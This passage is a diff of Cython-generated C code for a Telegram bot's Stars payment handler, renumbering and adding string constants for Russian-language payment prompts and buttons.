result_ulength, - Py_UCS4 max_char); - /* UnicodeConcatInPlace.proto */ # if CYTHON_COMPILING_IN_CPYTHON && PY_MAJOR_VERSION >= 3 #if CYTHON_REFNANNY @@ -2191,6 +2187,10 @@ static PyObject* __Pyx_PyUnicode_Join(PyObject* value_tuple, Py_ssize_t value_co #define __Pyx_PyUnicode_ConcatInPlaceSafe(left, right) ((unlikely((left) == Py_None) || unlikely((right) == Py_None)) ?\ PyNumber_InPlaceAdd(left, right) : __Pyx_PyUnicode_ConcatInPlace(left, right)) +/* JoinPyUnicode.proto */ +static PyObject* __Pyx_PyUnicode_Join(PyObject* value_tuple, Py_ssize_t value_count, Py_ssize_t result_ulength, + Py_UCS4 max_char); + /* pybytes_as_double.proto */ static double __Pyx_SlowPyString_AsDouble(PyObject *obj); static double __Pyx__PyBytes_AsDouble(PyObject *obj, const char* start, Py_ssize_t length); @@ -2642,36 +2642,31 @@ static const char __pyx_k_e[] = "e"; static const char __pyx_k_i[] = "i"; static const char __pyx_k__2[] = "\320\235\320\265 \321\203\320\264\320\260\320\273\320\276\321\201\321\214 \321\203\320\264\320\260\320\273\320\270\321\202\321\214 \321\201\320\276\320\276\320\261\321\211\320\265\320\275\320\270\320\265 \321\201 \320\270\320\275\320\262\320\276\320\271\321\201\320\276\320\274: "; static const char __pyx_k__5[] = "\320\235\320\260\321\200\321\203\321\210\320\265\320\275\320\260 \321\206\320\265\320\273\320\276\321\201\321\202\320\275\320\276\321\201\321\202\321\214 \321\204\320\260\320\271\320\273\320\276\320\262! \320\236\320\261\320\275\320\276\320\262\320\270\321\202\320\265\321\201\321\214 \321\201 \320\277\320\276\320\273\320\275\320\276\320\271 \320\267\320\260\320\274\320\265\320\275\320\276\320\271 \320\277\320\260\320\277\320\272\320\270!"; -static const char __pyx_k__6[] = "\360\237\244\226 \320\221\320\276\321\202 \320\264\320\273\321\217 \320\277\320\276\320\272\321\203\320\277\320\272\320\270 \320\267\320\262\320\265\320\267\320\264"; -static const char __pyx_k__7[] = "\360\237\222\260 \320\222\320\262\320\265\321\201\321\202\320\270 \321\201\320\262\320\276\321\216 \321\201\321\203\320\274\320\274\321\203"; -static const char __pyx_k__8[] = "\342\254\205\357\270\217 \320\235\320\260\320\267\320\260\320\264"; -static const char __pyx_k__9[] = "\320\235\320\265 \321\203\320\264\320\260\320\273\320\276\321\201\321\214 \320\276\321\202\321\200\320\265\320\264\320\260\320\272\321\202\320\270\321\200\320\276\320\262\320\260\321\202\321\214 \321\201\320\276\320\276\320\261\321\211\320\265\320\275\320\270\320\265, \320\277\321\200\320\276\320\261\321\203\320\265\320\274 \321\203\320\264\320\260\320\273\320\270\321\202\321\214 \320\270 \320\276\321\202\320\277\321\200\320\260\320\262\320\270\321\202\321\214 \320\275\320\276\320\262\320\276\320\265: "; +static const char __pyx_k__6[] = "\320\235\320\265 \321\203\320\264\320\260\320\273\320\276\321\201\321\214 \320\276\321\202\321\200\320\265\320\264\320\260\320\272\321\202\320\270\321\200\320\276\320\262\320\260\321\202\321\214 \321\201\320\276\320\276\320\261\321\211\320\265\320\275\320\270\320\265, \320\277\321\200\320\276\320\261\321\203\320\265\320\274 \321\203\320\264\320\260\320\273\320\270\321\202\321\214 \320\270 \320\276\321\202\320\277\321\200\320\260\320\262\320\270\321\202\321\214 \320\275\320\276\320\262\320\276\320\265: "; +static const char __pyx_k__8[] = "|"; static const char __pyx_k_gc[] = "gc"; static const char __pyx_k_id[] = "id"; static const char __pyx_k_ok[] = "ok"; static const char __pyx_k_Any[] = "Any"; +static const char __pyx_k_PAY[] = "PAY"; static const char __pyx_k_XTR[] = "XTR"; -static const char __pyx_k__11[] = "|"; -static const char __pyx_k__13[] = "\320\235\320\265\320\262\320\265\321\200\320\275\321\213\320\265 \320\264\320\260\320\275\320\275\321\213\320\265 \320\264\320\273\321\217 \320\262\321\213\320\261\320\276\321\200\320\260 \321\201\321\203\320\274\320\274\321\213."; -static const char __pyx_k__14[] = "\320\235\320\265\320\272\320\276\321\200\321\200\320\265\320\272\321\202\320\275\320\260\321\217 \321\201\321\203\320\274\320\274\320\260."; -static const char __pyx_k__15[] = "\320\237\320\276\320\277\320\276\320\273\320\275\320\270\321\202\321\214"; -static const char __pyx_k__16[] = "\320\222\321\213 \320\262\321\213\320\261\321\200\320\260\320\273\320\270 \320\277\320\276\320\277\320\276\320\273\320\275\320\265\320\275\320\270\320\265 \320\275\320\260 "; -static const char __pyx_k__17[] = " \321\200\321\203\320\261\320\273\320\265\320\271."; -static const char __pyx_k__18[] = ""; -static const char __pyx_k__19[] = "\320\236\321\210\320\270\320\261\320\272\320\260 \320\277\321\200\320\270 \321\201\320\276\320\267\320\264\320\260\320\275\320\270\320\270 \320\277\320\273\320\260\321\202\320\265\320\266\320\260: "; -static const char __pyx_k__20[] = "\320\237\321\200\320\276\320\270\320\267\320\276\321\210\320\273\320\260 \320\276\321\210\320\270\320\261\320\272\320\260 \320\277\321\200\320\270 \321\201\320\276\320\267\320\264\320\260\320\275\320\270\320\270 \320\277\320\273\320\260\321\202\320\265\320\266\320\260."; -static const char __pyx_k__22[] = "\360\237\224\231 \320\235\320\260\320\267\320\260\320\264"; -static const char __pyx_k__23[] = "\320\237\320\276\320\266\320\260\320\273\321\203\320\271\321\201\321\202\320\260, \320\262\320\262\320\265\320\264\320\270\321\202\320\265 \321\201\321\203\320\274\320\274\321\203 \320\277\320\276\320\277\320\276\320\273\320\275\320\265\320\275\320\270\321\217."; -static const char __pyx_k__25[] = "\320\241\321\203\320\274\320\274\320\260 \320\264\320\276\320\273\320\266\320\275\320\260 \320\261\321\213\321\202\321\214 \320\261\320\276\320\273\321\214\321\210\320\265 "; -static const char __pyx_k__26[] = ". \320\237\320\276\320\266\320\260\320\273\321\203\320\271\321\201\321\202\320\260, \320\262\320\262\320\265\320\264\320\270\321\202\320\265 \321\201\321\203\320\274\320\274\321\203 \320\265\321\211\320\265 \321\200\320\260\320\267:"; -static const char __pyx_k__27[] = "\320\235\320\265\320\272\320\276\321\200\321\200\320\265\320\272\321\202\320\275\320\260\321\217 \321\201\321\203\320\274\320\274\320\260. \320\237\320\276\320\266\320\260\320\273\321\203\320\271\321\201\321\202\320\260, \320\262\320\262\320\265\320\264\320\270\321\202\320\265 \321\201\321\203\320\274\320\274\321\203 \320\265\321\211\320\265 \321\200\320\260\320\267:"; -static const char __pyx_k__30[] = "_"; -static const char __pyx_k__31[] = "."; -static const char __pyx_k__41[] = "?"; +static const char __pyx_k__10[] = "\320\235\320\265\320\262\320\265\321\200\320\275\321\213\320\265 \320\264\320\260\320\275\320\275\321\213\320\265 \320\264\320\273\321\217 \320\262\321\213\320\261\320\276\321\200\320\260 \321\201\321\203\320\274\320\274\321\213."; +static const char __pyx_k__11[] = "\320\235\320\265\320\272\320\276\321\200\321\200\320\265\320\272\321\202\320\275\320\260\321\217 \321\201\321\203\320\274\320\274\320\260."; +static const char __pyx_k__12[] = ""; +static const char __pyx_k__13[] = "\320\236\321\210\320\270\320\261\320\272\320\260 \320\277\321\200\320\270 \321\201\320\276\320\267\320\264\320\260\320\275\320\270\320\270 \320\277\320\273\320\260\321\202\320\265\320\266\320\260: "; +static const char __pyx_k__14[] = "\320\237\321\200\320\276\320\270\320\267\320\276\321\210\320\273\320\260 \320\276\321\210\320\270\320\261\320\272\320\260 \320\277\321\200\320\270 \321\201\320\276\320\267\320\264\320\260\320\275\320\270\320\270 \320\277\320\273\320\260\321\202\320\265\320\266\320\260."; +static const char __pyx_k__17[] = "\320\241\321\203\320\274\320\274\320\260 \320\264\320\276\320\273\320\266\320\275\320\260 \320\261\321\213\321\202\321\214 \320\261\320\276\320\273\321\214\321\210\320\265 "; +static const char __pyx_k__18[] = ". \320\237\320\276\320\266\320\260\320\273\321\203\320\271\321\201\321\202\320\260, \320\262\320\262\320\265\320\264\320\270\321\202\320\265 \321\201\321\203\320\274\320\274\321\203 \320\265\321\211\320\265 \321\200\320\260\320\267:"; +static const char __pyx_k__19[] = "\320\237\320\276\320\277\320\276\320\273\320\275\320\270\321\202\321\214"; +static const char __pyx_k__20[] = "\320\235\320\265\320\272\320\276\321\200\321\200\320\265\320\272\321\202\320\275\320\260\321\217 \321\201\321\203\320\274\320\274\320\260. \320\237\320\276\320\266\320\260\320\273\321\203\320\271\321\201\321\202\320\260, \320\262\320\262\320\265\320\264\320\270\321\202\320\265 \321\201\321\203\320\274\320\274\321\203 \320\265\321\211\320\265 \321\200\320\260\320\267:"; +static const char __pyx_k__23[] = "_"; +static const char __pyx_k__24[] = "."; +static const char __pyx_k__34[] = "?"; static const char __pyx_k_doc[] = "__doc__"; static const char __pyx_k_pay[] = "pay"; static const char __pyx_k_row[] = "row"; static const char __pyx_k_url[] = "url"; +static const char __pyx_k_BACK[] = "BACK"; static const char __pyx_k_args[] = "args"; static const char __pyx_k_chat[] = "chat"; static const char __pyx_k_data[] = "data"; @@ -2704,6 +2699,7 @@ static const char __pyx_k_config[] = "config"; static const char __pyx_k_delete[] = "delete"; static const char __pyx_k_enable[] = "enable"; static const char __pyx_k_exists[] = "exists"; +static const char __pyx_k_format[] = "format"; static const char __pyx_k_import[] = "__import__"; static const char __pyx_k_logger[] = "logger"; static const char __pyx_k_module[] = "__module__"; @@ -2728,6 +2724,8 @@ static const char __pyx_k_currency[] = "currency"; static const char __pyx_k_database[] = "database"; static const char __pyx_k_qualname[] = "__qualname__"; static const char __pyx_k_set_name[] = "__set_name__"; +static const char __pyx_k_ENTER_SUM[] = "ENTER_SUM"; +static const char __pyx_k_STARS_BOT[] = "STARS_BOT"; static const char __pyx_k_as_markup[] = "as_markup"; static const char __pyx_k_isenabled[] = "isenabled"; static const char __pyx_k_key_count[] = "key_count"; @@ -2752,6 +2750,7 @@ static const char __pyx_k_STARS_ROUTER[] = "STARS_ROUTER"; static const char __pyx_k_is_coroutine[] = "_is_coroutine"; static const char __pyx_k_reply_markup[] = "reply_markup"; static const char __pyx_k_stars_amount[] = "stars_amount|"; +static const char __pyx_k_CUSTOM_AMOUNT[] = "CUSTOM_AMOUNT"; static const char __pyx_k_aiogram_types[] = "aiogram.types"; static const char __pyx_k_callback_data[] = "callback_data"; static const char __pyx_k_class_getitem[] = "__class_getitem__"; @@ -2771,6 +2770,7 @@ static const char __pyx_k_user_id_amount[] = "\320\236\321\210\320\270\320\261\3 static const char __pyx_k_PAYMENT_OPTIONS[] = "PAYMENT_OPTIONS"; static const char __pyx_k_invoice_payload[] = "invoice_payload"; static const char __pyx_k_PreCheckoutQuery[] = "PreCheckoutQuery"; +static const char __pyx_k_handlers_buttons[] = "handlers.buttons"; static const char __pyx_k_aiogram_fsm_state[] = "aiogram.fsm.state"; static const char __pyx_k_back_to_pay_stars[] = "back_to_pay_stars"; static const char __pyx_k_asyncio_coroutines[] = "asyncio.coroutines"; @@ -2789,6 +2789,7 @@ static const char __pyx_k_on_pre_checkout_query[] = "on_pre_checkout_query"; static const char __pyx_k_on_successful_payment[] = "on_successful_payment"; static const char __pyx_k_aiogram_utils_keyboard[] = "aiogram.utils.keyboard"; static const char __pyx_k_handlers_payments_gift[] = "handlers.payments.gift"; +static const char __pyx_k_DEFAULT_PAYMENT_MESSAGE[] = "DEFAULT_PAYMENT_MESSAGE"; static const char __pyx_k_check_connection_exists[] = "check_connection_exists"; static const char __pyx_k_handlers_payments_utils[] = "handlers.payments.utils"; static const char __pyx_k_process_amount_selection[] = "process_amount_selection"; @@ -2868,45 +2869,44 @@ typedef struct { PyObject *__pyx_kp_u_21U68SOLOBOT; PyObject *__pyx_n_s_AMOUNT_TEXT; PyObject *__pyx_n_s_Any; + PyObject *__pyx_n_s_BACK; + PyObject *__pyx_n_s_CUSTOM_AMOUNT; + PyObject *__pyx_n_s_DEFAULT_PAYMENT_MESSAGE; + PyObject *__pyx_n_s_ENTER_SUM; PyObject *__pyx_n_s_F; PyObject *__pyx_n_s_FSMContext; PyObject *__pyx_n_s_InlineKeyboardBuilder; PyObject *__pyx_n_s_InlineKeyboardButton; PyObject *__pyx_n_s_LabeledPrice; + PyObject *__pyx_n_s_PAY; PyObject *__pyx_n_s_PAYMENT_OPTIONS; PyObject *__pyx_kp_u_Payment_succeeded_for_user_id; PyObject *__pyx_n_s_PreCheckoutQuery; PyObject *__pyx_n_s_RUB_TO_XTR; PyObject *__pyx_n_s_ReplenishBalanceState; PyObject *__pyx_n_s_Router; + PyObject *__pyx_n_s_STARS_BOT; PyObject *__pyx_n_s_STARS_ROUTER; PyObject *__pyx_n_s_State; PyObject *__pyx_n_s_StatesGroup; PyObject *__pyx_n_s_ValueError; PyObject *__pyx_n_u_XTR; + PyObject *__pyx_kp_u__10; PyObject *__pyx_kp_u__11; + PyObject *__pyx_kp_u__12; PyObject *__pyx_kp_u__13; PyObject *__pyx_kp_u__14; - PyObject *__pyx_n_u__15; - PyObject *__pyx_kp_u__16; PyObject *__pyx_kp_u__17; PyObject *__pyx_kp_u__18; - PyObject *__pyx_kp_u__19; + PyObject *__pyx_n_u__19; PyObject *__pyx_kp_u__2; PyObject *__pyx_kp_u__20; - PyObject *__pyx_kp_u__22; - PyObject *__pyx_kp_u__23; - PyObject *__pyx_kp_u__25; - PyObject *__pyx_kp_u__26; - PyObject *__pyx_kp_u__27; - PyObject *__pyx_n_u__30; - PyObject *__pyx_kp_u__31; - PyObject *__pyx_n_s__41; + PyObject *__pyx_n_u__23; + PyObject *__pyx_kp_u__24; + PyObject *__pyx_n_s__34; PyObject *__pyx_kp_u__5; PyObject *__pyx_kp_u__6; - PyObject *__pyx_kp_u__7; PyObject *__pyx_kp_u__8; - PyObject *__pyx_kp_u__9; PyObject *__pyx_n_s_add_connection; PyObject *__pyx_n_s_add_payment; PyObject *__pyx_n_s_aiogram; @@ -2956,8 +2956,10 @@ typedef struct { PyObject *__pyx_n_s_error; PyObject *__pyx_n_s_exists; PyObject *__pyx_n_s_expected_hash; + PyObject *__pyx_n_s_format; PyObject *__pyx_kp_u_gc; PyObject *__pyx_n_s_get_key_count; + PyObject *__pyx_n_s_handlers_buttons; PyObject *__pyx_n_s_handlers_payments_gift; PyObject *__pyx_n_s_handlers_payments_stars_pay; PyObject *__pyx_kp_s_handlers_payments_stars_pay_py; @@ -3041,23 +3043,23 @@ typedef struct { PyObject *__pyx_int_1; PyObject *__pyx_int_2; PyObject *__pyx_codeobj_; - PyObject *__pyx_tuple__12; + PyObject *__pyx_tuple__9; + PyObject *__pyx_tuple__25; + PyObject *__pyx_tuple__26; + PyObject *__pyx_tuple__27; + PyObject *__pyx_tuple__28; + PyObject *__pyx_tuple__29; + PyObject *__pyx_tuple__30; + PyObject *__pyx_tuple__31; PyObject *__pyx_tuple__32; PyObject *__pyx_tuple__33; - PyObject *__pyx_tuple__34; - PyObject *__pyx_tuple__35; - PyObject *__pyx_tuple__36; - PyObject *__pyx_tuple__37; - PyObject *__pyx_tuple__38; - PyObject *__pyx_tuple__39; - PyObject *__pyx_tuple__40; PyObject *__pyx_codeobj__3; PyObject *__pyx_codeobj__4; - PyObject *__pyx_codeobj__10; + PyObject *__pyx_codeobj__7; + PyObject *__pyx_codeobj__15; + PyObject *__pyx_codeobj__16; PyObject *__pyx_codeobj__21; - PyObject *__pyx_codeobj__24; - PyObject *__pyx_codeobj__28; - PyObject *__pyx_codeobj__29; + PyObject *__pyx_codeobj__22; } __pyx_mstate; #if CYTHON_USE_MODULE_STATE @@ -3119,45 +3121,44 @@ static int __pyx_m_clear(PyObject *m) { Py_CLEAR(clear_module_state->__pyx_kp_u_21U68SOLOBOT); Py_CLEAR(clear_module_state->__pyx_n_s_AMOUNT_TEXT); Py_CLEAR(clear_module_state->__pyx_n_s_Any); + Py_CLEAR(clear_module_state->__pyx_n_s_BACK); + Py_CLEAR(clear_module_state->__pyx_n_s_CUSTOM_AMOUNT); + Py_CLEAR(clear_module_state->__pyx_n_s_DEFAULT_PAYMENT_MESSAGE); + Py_CLEAR(clear_module_state->__pyx_n_s_ENTER_SUM); Py_CLEAR(clear_module_state->__pyx_n_s_F); Py_CLEAR(clear_module_state->__pyx_n_s_FSMContext); Py_CLEAR(clear_module_state->__pyx_n_s_InlineKeyboardBuilder); Py_CLEAR(clear_module_state->__pyx_n_s_InlineKeyboardButton); Py_CLEAR(clear_module_state->__pyx_n_s_LabeledPrice); + Py_CLEAR(clear_module_state->__pyx_n_s_PAY); Py_CLEAR(clear_module_state->__pyx_n_s_PAYMENT_OPTIONS); Py_CLEAR(clear_module_state->__pyx_kp_u_Payment_succeeded_for_user_id); Py_CLEAR(clear_module_state->__pyx_n_s_PreCheckoutQuery); Py_CLEAR(clear_module_state->__pyx_n_s_RUB_TO_XTR); Py_CLEAR(clear_module_state->__pyx_n_s_ReplenishBalanceState); Py_CLEAR(clear_module_state->__pyx_n_s_Router); + Py_CLEAR(clear_module_state->__pyx_n_s_STARS_BOT); Py_CLEAR(clear_module_state->__pyx_n_s_STARS_ROUTER); Py_CLEAR(clear_module_state->__pyx_n_s_State); Py_CLEAR(clear_module_state->__pyx_n_s_StatesGroup); Py_CLEAR(clear_module_state->__pyx_n_s_ValueError); Py_CLEAR(clear_module_state->__pyx_n_u_XTR); + Py_CLEAR(clear_module_state->__pyx_kp_u__10); Py_CLEAR(clear_module_state->__pyx_kp_u__11); + Py_CLEAR(clear_module_state->__pyx_kp_u__12); Py_CLEAR(clear_module_state->__pyx_kp_u__13); Py_CLEAR(clear_module_state->__pyx_kp_u__14); - Py_CLEAR(clear_module_state->__pyx_n_u__15); - Py_CLEAR(clear_module_state->__pyx_kp_u__16); Py_CLEAR(clear_module_state->__pyx_kp_u__17); Py_CLEAR(clear_module_state->__pyx_kp_u__18); - Py_CLEAR(clear_module_state->__pyx_kp_u__19); + Py_CLEAR(clear_module_state->__pyx_n_u__19); Py_CLEAR(clear_module_state->__pyx_kp_u__2); Py_CLEAR(clear_module_state->__pyx_kp_u__20); - Py_CLEAR(clear_module_state->__pyx_kp_u__22); - Py_CLEAR(clear_module_state->__pyx_kp_u__23); - Py_CLEAR(clear_module_state->__pyx_kp_u__25); - Py_CLEAR(clear_module_state->__pyx_kp_u__26); - Py_CLEAR(clear_module_state->__pyx_kp_u__27); - Py_CLEAR(clear_module_state->__pyx_n_u__30); - Py_CLEAR(clear_module_state->__pyx_kp_u__31); - Py_CLEAR(clear_module_state->__pyx_n_s__41); + Py_CLEAR(clear_module_state->__pyx_n_u__23); + Py_CLEAR(clear_module_state->__pyx_kp_u__24); + Py_CLEAR(clear_module_state->__pyx_n_s__34); Py_CLEAR(clear_module_state->__pyx_kp_u__5); Py_CLEAR(clear_module_state->__pyx_kp_u__6); - Py_CLEAR(clear_module_state->__pyx_kp_u__7); Py_CLEAR(clear_module_state->__pyx_kp_u__8); - Py_CLEAR(clear_module_state->__pyx_kp_u__9); Py_CLEAR(clear_module_state->__pyx_n_s_add_connection); Py_CLEAR(clear_module_state->__pyx_n_s_add_payment); Py_CLEAR(clear_module_state->__pyx_n_s_aiogram); @@ -3207,8 +3208,10 @@ static int __pyx_m_clear(PyObject *m) { Py_CLEAR(clear_module_state->__pyx_n_s_error); Py_CLEAR(clear_module_state->__pyx_n_s_exists); Py_CLEAR(clear_module_state->__pyx_n_s_expected_hash); + Py_CLEAR(clear_module_state->__pyx_n_s_format); Py_CLEAR(clear_module_state->__pyx_kp_u_gc); Py_CLEAR(clear_module_state->__pyx_n_s_get_key_count); + Py_CLEAR(clear_module_state->__pyx_n_s_handlers_buttons); Py_CLEAR(clear_module_state->__pyx_n_s_handlers_payments_gift); Py_CLEAR(clear_module_state->__pyx_n_s_handlers_payments_stars_pay); Py_CLEAR(clear_module_state->__pyx_kp_s_handlers_payments_stars_pay_py); @@ -3292,23 +3295,23 @@ static int __pyx_m_clear(PyObject *m) { Py_CLEAR(clear_module_state->__pyx_int_1); Py_CLEAR(clear_module_state->__pyx_int_2); Py_CLEAR(clear_module_state->__pyx_codeobj_); - Py_CLEAR(clear_module_state->__pyx_tuple__12); + Py_CLEAR(clear_module_state->__pyx_tuple__9); + Py_CLEAR(clear_module_state->__pyx_tuple__25); + Py_CLEAR(clear_module_state->__pyx_tuple__26); + Py_CLEAR(clear_module_state->__pyx_tuple__27); + Py_CLEAR(clear_module_state->__pyx_tuple__28); + Py_CLEAR(clear_module_state->__pyx_tuple__29); + Py_CLEAR(clear_module_state->__pyx_tuple__30); + Py_CLEAR(clear_module_state->__pyx_tuple__31); Py_CLEAR(clear_module_state->__pyx_tuple__32); Py_CLEAR(clear_module_state->__pyx_tuple__33); - Py_CLEAR(clear_module_state->__pyx_tuple__34); - Py_CLEAR(clear_module_state->__pyx_tuple__35); - Py_CLEAR(clear_module_state->__pyx_tuple__36); - Py_CLEAR(clear_module_state->__pyx_tuple__37); - Py_CLEAR(clear_module_state->__pyx_tuple__38); - Py_CLEAR(clear_module_state->__pyx_tuple__39); - Py_CLEAR(clear_module_state->__pyx_tuple__40); Py_CLEAR(clear_module_state->__pyx_codeobj__3); Py_CLEAR(clear_module_state->__pyx_codeobj__4); - Py_CLEAR(clear_module_state->__pyx_codeobj__10); + Py_CLEAR(clear_module_state->__pyx_codeobj__7); + Py_CLEAR(clear_module_state->__pyx_codeobj__15); + Py_CLEAR(clear_module_state->__pyx_codeobj__16); Py_CLEAR(clear_module_state->__pyx_codeobj__21); - Py_CLEAR(clear_module_state->__pyx_codeobj__24); - Py_CLEAR(clear_module_state->__pyx_codeobj__28); - Py_CLEAR(clear_module_state->__pyx_codeobj__29); + Py_CLEAR(clear_module_state->__pyx_codeobj__22); return 0; } #endif @@ -3348,45 +3351,44 @@ static int __pyx_m_traverse(PyObject *m, visitproc visit, void *arg) { Py_VISIT(traverse_module_state->__pyx_kp_u_21U68SOLOBOT); Py_VISIT(traverse_module_state->__pyx_n_s_AMOUNT_TEXT); Py_VISIT(traverse_module_state->__pyx_n_s_Any); + Py_VISIT(traverse_module_state->__pyx_n_s_BACK); + Py_VISIT(traverse_module_state->__pyx_n_s_CUSTOM_AMOUNT); + Py_VISIT(traverse_module_state->__pyx_n_s_DEFAULT_PAYMENT_MESSAGE); + Py_VISIT(traverse_module_state->__pyx_n_s_ENTER_SUM); Py_VISIT(traverse_module_state->__pyx_n_s_F); Py_VISIT(traverse_module_state->__pyx_n_s_FSMContext); Py_VISIT(traverse_module_state->__pyx_n_s_InlineKeyboardBuilder); Py_VISIT(traverse_module_state->__pyx_n_s_InlineKeyboardButton); Py_VISIT(traverse_module_state->__pyx_n_s_LabeledPrice); + Py_VISIT(traverse_module_state->__pyx_n_s_PAY); Py_VISIT(traverse_module_state->__pyx_n_s_PAYMENT_OPTIONS); Py_VISIT(traverse_module_state->__pyx_kp_u_Payment_succeeded_for_user_id); Py_VISIT(traverse_module_state->__pyx_n_s_PreCheckoutQuery); Py_VISIT(traverse_module_state->__pyx_n_s_RUB_TO_XTR); Py_VISIT(traverse_module_state->__pyx_n_s_ReplenishBalanceState); Py_VISIT(traverse_module_state->__pyx_n_s_Router); + Py_VISIT(traverse_module_state->__pyx_n_s_STARS_BOT); Py_VISIT(traverse_module_state->__pyx_n_s_STARS_ROUTER); Py_VISIT(traverse_module_state->__pyx_n_s_State); Py_VISIT(traverse_module_state->__pyx_n_s_StatesGroup); Py_VISIT(traverse_module_state->__pyx_n_s_ValueError); Py_VISIT(traverse_module_state->__pyx_n_u_XTR); + Py_VISIT(traverse_module_state->__pyx_kp_u__10); Py_VISIT(traverse_module_state->__pyx_kp_u__11); + Py_VISIT(traverse_module_state->__pyx_kp_u__12); Py_VISIT(traverse_module_state->__pyx_kp_u__13); Py_VISIT(traverse_module_state->__pyx_kp_u__14); - Py_VISIT(traverse_module_state->__pyx_n_u__15); - Py_VISIT(traverse_module_state->__pyx_kp_u__16); Py_VISIT(traverse_module_state->__pyx_kp_u__17); Py_VISIT(traverse_module_state->__pyx_kp_u__18); - Py_VISIT(traverse_module_state->__pyx_kp_u__19); + Py_VISIT(traverse_module_state->__pyx_n_u__19); Py_VISIT(traverse_module_state->__pyx_kp_u__2); Py_VISIT(traverse_module_state->__pyx_kp_u__20); - Py_VISIT(traverse_module_state->__pyx_kp_u__22); - Py_VISIT(traverse_module_state->__pyx_kp_u__23); - Py_VISIT(traverse_module_state->__pyx_kp_u__25); - Py_VISIT(traverse_module_state->__pyx_kp_u__26); - Py_VISIT(traverse_module_state->__pyx_kp_u__27); - Py_VISIT(traverse_module_state->__pyx_n_u__30); - Py_VISIT(traverse_module_state->__pyx_kp_u__31); - Py_VISIT(traverse_module_state->__pyx_n_s__41); + Py_VISIT(traverse_module_state->__pyx_n_u__23); + Py_VISIT(traverse_module_state->__pyx_kp_u__24); + Py_VISIT(traverse_module_state->__pyx_n_s__34); Py_VISIT(traverse_module_state->__pyx_kp_u__5); Py_VISIT(traverse_module_state->__pyx_kp_u__6); - Py_VISIT(traverse_module_state->__pyx_kp_u__7); Py_VISIT(traverse_module_state->__pyx_kp_u__8); - Py_VISIT(traverse_module_state->__pyx_kp_u__9); Py_VISIT(traverse_module_state->__pyx_n_s_add_connection); Py_VISIT(traverse_module_state->__pyx_n_s_add_payment); Py_VISIT(traverse_module_state->__pyx_n_s_aiogram); @@ -3436,8 +3438,10 @@ static int __pyx_m_traverse(PyObject *m, visitproc visit, void *arg) { Py_VISIT(traverse_module_state->__pyx_n_s_error); Py_VISIT(traverse_module_state->__pyx_n_s_exists); Py_VISIT(traverse_module_state->__pyx_n_s_expected_hash); + Py_VISIT(traverse_module_state->__pyx_n_s_format); Py_VISIT(traverse_module_state->__pyx_kp_u_gc); Py_VISIT(traverse_module_state->__pyx_n_s_get_key_count); + Py_VISIT(traverse_module_state->__pyx_n_s_handlers_buttons); Py_VISIT(traverse_module_state->__pyx_n_s_handlers_payments_gift); Py_VISIT(traverse_module_state->__pyx_n_s_handlers_payments_stars_pay); Py_VISIT(traverse_module_state->__pyx_kp_s_handlers_payments_stars_pay_py); @@ -3521,23 +3525,23 @@ static int __pyx_m_traverse(PyObject *m, visitproc visit, void *arg) { Py_VISIT(traverse_module_state->__pyx_int_1); Py_VISIT(traverse_module_state->__pyx_int_2); Py_VISIT(traverse_module_state->__pyx_codeobj_); - Py_VISIT(traverse_module_state->__pyx_tuple__12); + Py_VISIT(traverse_module_state->__pyx_tuple__9); + Py_VISIT(traverse_module_state->__pyx_tuple__25); + Py_VISIT(traverse_module_state->__pyx_tuple__26); + Py_VISIT(traverse_module_state->__pyx_tuple__27); + Py_VISIT(traverse_module_state->__pyx_tuple__28); + Py_VISIT(traverse_module_state->__pyx_tuple__29); + Py_VISIT(traverse_module_state->__pyx_tuple__30); + Py_VISIT(traverse_module_state->__pyx_tuple__31); Py_VISIT(traverse_module_state->__pyx_tuple__32); Py_VISIT(traverse_module_state->__pyx_tuple__33); - Py_VISIT(traverse_module_state->__pyx_tuple__34); - Py_VISIT(traverse_module_state->__pyx_tuple__35); - Py_VISIT(traverse_module_state->__pyx_tuple__36); - Py_VISIT(traverse_module_state->__pyx_tuple__37); - Py_VISIT(traverse_module_state->__pyx_tuple__38); - Py_VISIT(traverse_module_state->__pyx_tuple__39); - Py_VISIT(traverse_module_state->__pyx_tuple__40); Py_VISIT(traverse_module_state->__pyx_codeobj__3); Py_VISIT(traverse_module_state->__pyx_codeobj__4); - Py_VISIT(traverse_module_state->__pyx_codeobj__10); + Py_VISIT(traverse_module_state->__pyx_codeobj__7); + Py_VISIT(traverse_module_state->__pyx_codeobj__15); + Py_VISIT(traverse_module_state->__pyx_codeobj__16); Py_VISIT(traverse_module_state->__pyx_codeobj__21); - Py_VISIT(traverse_module_state->__pyx_codeobj__24); - Py_VISIT(traverse_module_state->__pyx_codeobj__28); - Py_VISIT(traverse_module_state->__pyx_codeobj__29); + Py_VISIT(traverse_module_state->__pyx_codeobj__22); return 0; } #endif @@ -3587,45 +3591,44 @@ static int __pyx_m_traverse(PyObject *m, visitproc visit, void *arg) { #define __pyx_kp_u_21U68SOLOBOT __pyx_mstate_global->__pyx_kp_u_21U68SOLOBOT #define __pyx_n_s_AMOUNT_TEXT __pyx_mstate_global->__pyx_n_s_AMOUNT_TEXT #define __pyx_n_s_Any __pyx_mstate_global->__pyx_n_s_Any +#define __pyx_n_s_BACK __pyx_mstate_global->__pyx_n_s_BACK +#define __pyx_n_s_CUSTOM_AMOUNT __pyx_mstate_global->__pyx_n_s_CUSTOM_AMOUNT +#define __pyx_n_s_DEFAULT_PAYMENT_MESSAGE __pyx_mstate_global->__pyx_n_s_DEFAULT_PAYMENT_MESSAGE +#define __pyx_n_s_ENTER_SUM __pyx_mstate_global->__pyx_n_s_ENTER_SUM #define __pyx_n_s_F __pyx_mstate_global->__pyx_n_s_F #define __pyx_n_s_FSMContext __pyx_mstate_global->__pyx_n_s_FSMContext #define __pyx_n_s_InlineKeyboardBuilder __pyx_mstate_global->__pyx_n_s_InlineKeyboardBuilder #define __pyx_n_s_InlineKeyboardButton __pyx_mstate_global->__pyx_n_s_InlineKeyboardButton #define __pyx_n_s_LabeledPrice __pyx_mstate_global->__pyx_n_s_LabeledPrice +#define __pyx_n_s_PAY __pyx_mstate_global->__pyx_n_s_PAY #define __pyx_n_s_PAYMENT_OPTIONS __pyx_mstate_global->__pyx_n_s_PAYMENT_OPTIONS #define __pyx_kp_u_Payment_succeeded_for_user_id __pyx_mstate_global->__pyx_kp_u_Payment_succeeded_for_user_id #define __pyx_n_s_PreCheckoutQuery __pyx_mstate_global->__pyx_n_s_PreCheckoutQuery #define __pyx_n_s_RUB_TO_XTR __pyx_mstate_global->__pyx_n_s_RUB_TO_XTR #define __pyx_n_s_ReplenishBalanceState __pyx_mstate_global->__pyx_n_s_ReplenishBalanceState #define __pyx_n_s_Router __pyx_mstate_global->__pyx_n_s_Router +#define 